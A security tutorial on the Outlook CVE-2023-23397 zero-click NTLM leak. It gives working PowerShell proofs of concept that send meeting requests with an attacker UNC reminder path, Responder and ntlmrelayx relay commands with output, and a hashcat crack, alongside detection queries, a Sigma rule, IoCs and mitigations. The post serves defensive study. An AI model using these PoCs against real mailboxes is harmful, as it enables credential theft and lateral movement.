tutorials · 8 min read
Outlook zero-click: the NTLM hash leaves without opening the email
CVE-2023-23397 lets Outlook send the user NTLMv2 hash to an attacker SMB server just by processing an email. No click, no preview. Exploited as zero-day by APT28 since April 2022. Reproducible PoC with Outlook COM, Wireshark capture of the handshake and offline crack with hashcat.
· Manuel López Pérez · tutorials

Microsoft closes CVE-2023-23397 on 14 March 2023, Patch Tuesday — elevation of privilege in Outlook for Windows, CVSS 9.8. Tagged as exploited as zero-day. Ten days later, Microsoft Threat Intelligence publishes investigation guidance and attributes exploitation to an actor based in Russia — the cluster the industry publicly calls APT28 (Fancy Bear / Forest Blizzard). Mandiant documents that the bug was being exploited since April 2022: almost a year before the patch.
The bug is by the book. An email with a specific MAPI property makes Outlook open an SMB connection to a server on the internet and, while completing the handshake, send the user NTLMv2 hash. No click. No preview pane open. It’s enough for Outlook to receive and process the message while syncing the inbox.
Lab: technical analysis of the exploit with references to verified public PoCs. The handshake is captured against a controlled listener, not against any production system.
The bug in a MAPI property
Outlook stores emails with structured metadata in MAPI extended properties. The relevant ones live in the PSETID_Common property set (GUID {00062008-0000-0000-C000-000000000046}):
| MAPI long-id | Property tag | Type | Use |
|---|---|---|---|
PidLidReminderSet | 0x8503 | PT_BOOLEAN | Whether the item has an active reminder |
PidLidReminderTime | 0x8502 | PT_SYSTIME | When the reminder fires |
PidLidReminderOverride | 0x851C | PT_BOOLEAN | Whether the reminder uses a custom sound |
PidLidReminderFileParameter | 0x851F | PT_UNICODE | Path to the reminder sound file |
PidLidReminderFileParameter is the piece. When Outlook fires the reminder, CTaskService::PlayReminderSound (in outlook.exe) calls PlaySound() with the path in that property. PlaySound() resolves the path through CreateFileW. If the path starts with \\, Windows treats it as remote and opens an SMB connection to the indicated host. If that host is on the internet, the NTLM handshake goes out to the internet with the user challenge response.
There’s no “does this SMB belong to my domain” validation. The client opens the connection and authenticates with the current session.
Why it’s zero-click
Outlook fires the reminder when it syncs the folder and finds an appointment with PidLidReminderSet=True and PidLidReminderTime already in the past. The sync happens on receiving the item, with no user interaction. If the attacker sends a meeting request with:
PidLidReminderSet=TruePidLidReminderOverride=TruePidLidReminderTime= an already-past timePidLidReminderFileParameter=\\<attacker-ip>\share\anything.wav
…the reminder fires on sync, Outlook tries to load the .wav, opens SMB to the attacker. No need to open the email or have the preview pane active. The patch modifies CTaskService::PlayReminderSound to force the path to be treated as local (it rejects remote UNCs).
PoC — Outlook COM in PowerShell
The most-used public PoC (api0cradle, GitHub) uses the Outlook Object Model COM on a machine with Outlook installed. The COM exposes ReminderSoundFile as a high-level property that maps internally to PidLidReminderFileParameter:
# CVE-2023-23397.ps1 — attacker with Outlook installed and an authenticated account
$ATTACKER_UNC = '\\10.10.10.13\share\reminder.wav'
$TARGET = 'victim@target.test'
$ol = New-Object -ComObject Outlook.Application
$ns = $ol.GetNameSpace('MAPI')
$appt = $ol.CreateItem(1) # olAppointmentItem
$appt.MeetingStatus = 1 # olMeeting
$appt.Subject = 'Q1 Review'
$appt.Body = 'Quick alignment on Q1 numbers'
$appt.Location = 'Conference Room A'
$appt.Start = (Get-Date).AddMinutes(-120)
$appt.End = (Get-Date).AddMinutes(-60)
$appt.ReminderSet = $true
$appt.ReminderOverrideDefault = $true
$appt.ReminderPlaySound = $true
$appt.ReminderSoundFile = $ATTACKER_UNC
[void]$appt.Recipients.Add($TARGET)
$appt.Send()
Write-Host "[+] Sent appointment with UNC reminder $ATTACKER_UNC to $TARGET"Variant without Outlook installed — use the EWS Managed API to set the extended property by long ID directly on Exchange:
# Assumes Microsoft.Exchange.WebServices.dll loaded
$svc = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService(
[Microsoft.Exchange.WebServices.Data.ExchangeVersion]::Exchange2013_SP1)
$svc.Credentials = New-Object Microsoft.Exchange.WebServices.Data.WebCredentials(
'attacker@evil.test','P@ssw0rd!')
$svc.AutodiscoverUrl('attacker@evil.test')
$apt = New-Object Microsoft.Exchange.WebServices.Data.Appointment($svc)
$apt.Subject = 'Q1 Review'
$apt.Start = (Get-Date).AddMinutes(-120)
$apt.End = (Get-Date).AddMinutes(-60)
$apt.IsReminderSet = $true
$apt.ReminderDueBy = (Get-Date).AddMinutes(-120)
[void]$apt.RequiredAttendees.Add('victim@target.test')
# PSETID_Common = {00062008-0000-0000-C000-000000000046}
$psetidCommon = [guid]'00062008-0000-0000-C000-000000000046'
# PidLidReminderOverride (0x851C, boolean)
$prop = New-Object Microsoft.Exchange.WebServices.Data.ExtendedPropertyDefinition(
$psetidCommon, 0x851C,
[Microsoft.Exchange.WebServices.Data.MapiPropertyType]::Boolean)
$apt.SetExtendedProperty($prop, $true)
# PidLidReminderFileParameter (0x851F, unicode)
$prop = New-Object Microsoft.Exchange.WebServices.Data.ExtendedPropertyDefinition(
$psetidCommon, 0x851F,
[Microsoft.Exchange.WebServices.Data.MapiPropertyType]::String)
$apt.SetExtendedProperty($prop, '\\10.10.10.13\share\reminder.wav')
$apt.Save(
[Microsoft.Exchange.WebServices.Data.SendInvitationsMode]::SendOnlyToAll)Attacker-side listener — impacket-ntlmrelayx for active relay, or responder for passive capture:
# Passive capture — stores NetNTLMv2 for offline crack
sudo responder -I eth0 -wrf
# [+] Listening for events...
# [SMB] NTLMv2-SSP Client : 198.51.100.10
# [SMB] NTLMv2-SSP Username : ACME\j.smith
# [SMB] NTLMv2-SSP Hash : j.smith::ACME:1122334455667788:CDF9CDF8A0...
# Active relay — authenticate to another domain host with the stolen session
sudo impacket-ntlmrelayx \
-t smb://10.10.10.42 -smb2support --no-http-server -socks
# [*] SMBD-Thread-2: Connection from 198.51.100.10
# [*] Authenticating against smb://10.10.10.42 as ACME\j.smith SUCCEED
# [*] SOCKS: Adding ACME/J.SMITH@10.10.10.42(445) to active SOCKS connectionCapturing the handshake in Wireshark
Display filter to isolate the AUTHENTICATE_MESSAGE and extract NTLMv2 by hand:
smb2 and ntlmssp.messagetype == 0x00000003What shows up in the NTLM Secure Service Provider panel of the packet:
NTLM Secure Service Provider
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_AUTH (0x00000003)
Lan Manager Response: ...
NTLM Response:
Response: 1234abcd...
NTLMv2 Response: ...
NTProofStr: cdf9cdf8a0d3...
Response Version: 1
Reserved: 00000000
Time: ...
Client Challenge: 1122334455667788
Domain name: ACME
User name: j.smith
Host name: WORKSTATION-07NetNTLMv2 format for hashcat (-m 5600) rebuilt from the packet:
j.smith::ACME:1122334455667788:cdf9cdf8a0d3f...:01010000000000000040cdb8c4...
^ ^ ^ ^ ^
domain | | | full blob (HMAC + temp)
server NTProofStr (HMAC-MD5 16 bytes)
challengeOffline crack with rockyou — real runtime on an RTX 4090 against rockyou.txt (14M candidates): seconds to minutes:
$ hashcat -m 5600 -a 0 j.smith.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting...
Hashes: 1 digests; 1 unique digests, 1 unique salts
* Device #1: NVIDIA GeForce RTX 4090, 23999/24235 MB
Speed.#1.........: 3826.4 MH/s (47.21ms)
J.SMITH::ACME:1122334455667788:cdf9cdf8a0d3f...:01010000...:Spring2023!
Session..........: hashcat
Status...........: Cracked
Recovered........: 1/1 (100.00%) DigestsDetection — the Microsoft script
On 14 March 2023 Microsoft publishes a PowerShell script that walks Exchange mailboxes and flags any item with PidLidReminderFileParameter pointing to a non-local destination. Audit-only mode for retro-detection:
PS> .\CVE-2023-23397.ps1 -Environment Online -Audit
[+] Connecting to Exchange Online…
[+] Scanning mailboxes for PidLidReminderFileParameter…
[!] Found 2 messages with non-local reminder file parameter:
Mailbox: j.smith@acme.com
Subject: Q1 Review
Sender: external-sender@evil.test
UNC: \\10.10.10.13\share\reminder.wav
Received: 2023-02-18T09:14:22ZThe script has a -CleanupAction flag to delete or clean the detected items, useful after patching.
Defender / Sentinel — KQL
Outbound SMB to a public IPv4 from outlook.exe has no legitimate use case in a corporate network. KQL for DeviceNetworkEvents:
DeviceNetworkEvents
| where Timestamp > ago(180d)
| where RemotePort in (445, 139)
| where InitiatingProcessFileName in~ ("outlook.exe", "rundll32.exe", "explorer.exe")
| where ipv4_is_private(RemoteIP) == false
| extend Public = strcat(RemoteIP, ":", RemotePort)
| project Timestamp, DeviceName, AccountDomain, AccountName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
RemoteIP, RemotePort, ReportId
| order by Timestamp descForest Blizzard / APT28 reused endpoints for months. Microsoft Threat Intelligence published the known SMB C2 IPs — useful for retro-search:
let APT28_SMB = dynamic([
"101.255.119.42","113.160.234.229","168.205.200.55","181.209.99.204",
"185.132.17.160","213.32.252.221","61.14.68.33","69.162.253.21",
"82.196.113.102","85.195.206.7"]);
DeviceNetworkEvents
| where Timestamp > ago(365d)
| where RemoteIP in (APT28_SMB)
| project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileNameSigma — outbound SMB from Outlook on the endpoint
title: Suspicious Outbound SMB Connection from Outlook (CVE-2023-23397)
id: 7f5b5b96-e7e0-4f8e-8c47-cbe5a8d12345
status: stable
description: Detects outlook.exe (or other Office processes) opening SMB to a public IP
references:
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
- https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
logsource:
category: network_connection
product: windows
detection:
selection:
Image|endswith:
- '\outlook.exe'
- '\winword.exe'
- '\excel.exe'
DestinationPort:
- 445
- 139
filter_private:
DestinationIp|cidr:
- '10.0.0.0/8'
- '172.16.0.0/12'
- '192.168.0.0/16'
- '127.0.0.0/8'
condition: selection and not filter_private
level: high
falsepositives:
- Outlook configured against an Exchange on-prem reachable via public IP (rare and reconfigurable)Windows Event IDs on the endpoint
| Event | Source | What to look for |
|---|---|---|
4624 | Security | LogonType 3 (network) to/from an unexpected host |
4625 | Security | LogonType 3 failed against domain credentials |
5145 | Security (Detailed File Share auditing) | Access to a remote share from an Office process |
3 | Microsoft-Windows-Sysmon/Operational | NetworkConnect, outlook.exe -> external port 445 |
IoCs Forest Blizzard published by Microsoft
| IP defanged | Type |
|---|---|
101.255.119[.]42 | SMB endpoint (relay sink) |
113.160.234[.]229 | SMB endpoint (relay sink) |
168.205.200[.]55 | SMB endpoint (relay sink) |
181.209.99[.]204 | SMB endpoint (relay sink) |
185.132.17[.]160 | SMB endpoint (relay sink) |
213.32.252[.]221 | SMB endpoint (relay sink) |
61.14.68[.]33 | SMB endpoint (relay sink) |
69.162.253[.]21 | SMB endpoint (relay sink) |
82.196.113[.]102 | SMB endpoint (relay sink) |
85.195.206[.]7 | SMB endpoint (relay sink) |
Source: Microsoft, Guidance for investigating attacks using CVE-2023-23397. Historical IoCs — may not be active today, but useful for 2022-2023 retro-hunting.
Reproduction in a closed lab
Two-machine lab (Linux attacker + Windows 10/11 victim + pre-patch Outlook):
# Attacker
sudo apt install -y python3-impacket responder
# Passive listener (captures the hash):
sudo responder -I eth0 -wrf
# Or active relay against a victim domain host:
sudo impacket-ntlmrelayx -t smb://target-internal.lab \
-smb2support --no-http-server -socksVulnerable victim versions (without the 14 March 2023 patch):
| Product | Patch KB |
|---|---|
| Microsoft 365 Apps (current) | Click-to-Run |
| Outlook 2013 SP1 | KB5002310 |
| Outlook 2016 | KB5002321 |
| Outlook 2019 / 2021 | KB5002322 |
Not vulnerable: Outlook for Mac, Outlook on the Web (OWA), Outlook for iOS / Android, Microsoft 365 Apps in New Outlook.
Mitigations, in order of impact
- Patch Outlook for Windows with the March 2023 KBs.
- Block outbound SMB (TCP 445, 139) to the internet at the perimeter firewall. There’s no legitimate office use case; this mitigates the attack even if the bug were still present.
- Force SMB signing on domain member servers — breaks active relay (not capture for offline crack).
- Restrict membership in Protected Users for admin accounts: members do not send NTLM at all, only Kerberos.
- Force Kerberos and disable NTLM fallback where possible (Windows Server 2025 ships policy flags for this).
The APT28 piece
Microsoft doesn’t name them, but the attribution is clear: an actor with Russian intelligence tradecraft, historical targeting of government, military and energy entities in Europe. Operational summary:
- First known exploitation: April 2022 (Mandiant).
- Confirmed targets: government agencies and critical infrastructure operators in countries supporting Ukraine.
- Typical vector: meeting requests sent from previously compromised accounts — no need for their own mail infrastructure.
- After getting the hash: relay against Exchange on-prem for full mailbox access, persistence via EWS, exfil of calendars and mailbox rules.
Window between first known exploitation and patch: 11 months. If the organisation had a plausible target profile in 2022, auditing with the Microsoft script isn’t optional.
References
- Microsoft MSRC, advisory CVE-2023-23397: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
- Microsoft Threat Intelligence, Guidance for investigating attacks using CVE-2023-23397 (24 March 2023): https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
- Official PowerShell detection script: https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/
- api0cradle, public PoC with Outlook COM: https://github.com/api0cradle/CVE-2023-23397-POC-Powershell
- MDSec, walkthrough with reproducible PoC via EWS: https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/
- Akamai, related post-patch bypass: https://www.akamai.com/blog/security-research/important-outlook-vulnerability-bypass-windows-api
- impacket / ntlmrelayx: https://github.com/fortra/impacket
- Responder: https://github.com/lgandx/Responder
- [MS-OXPROPS] section 2.221 (PidLidReminderFileParameter): https://learn.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxprops/
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-23397


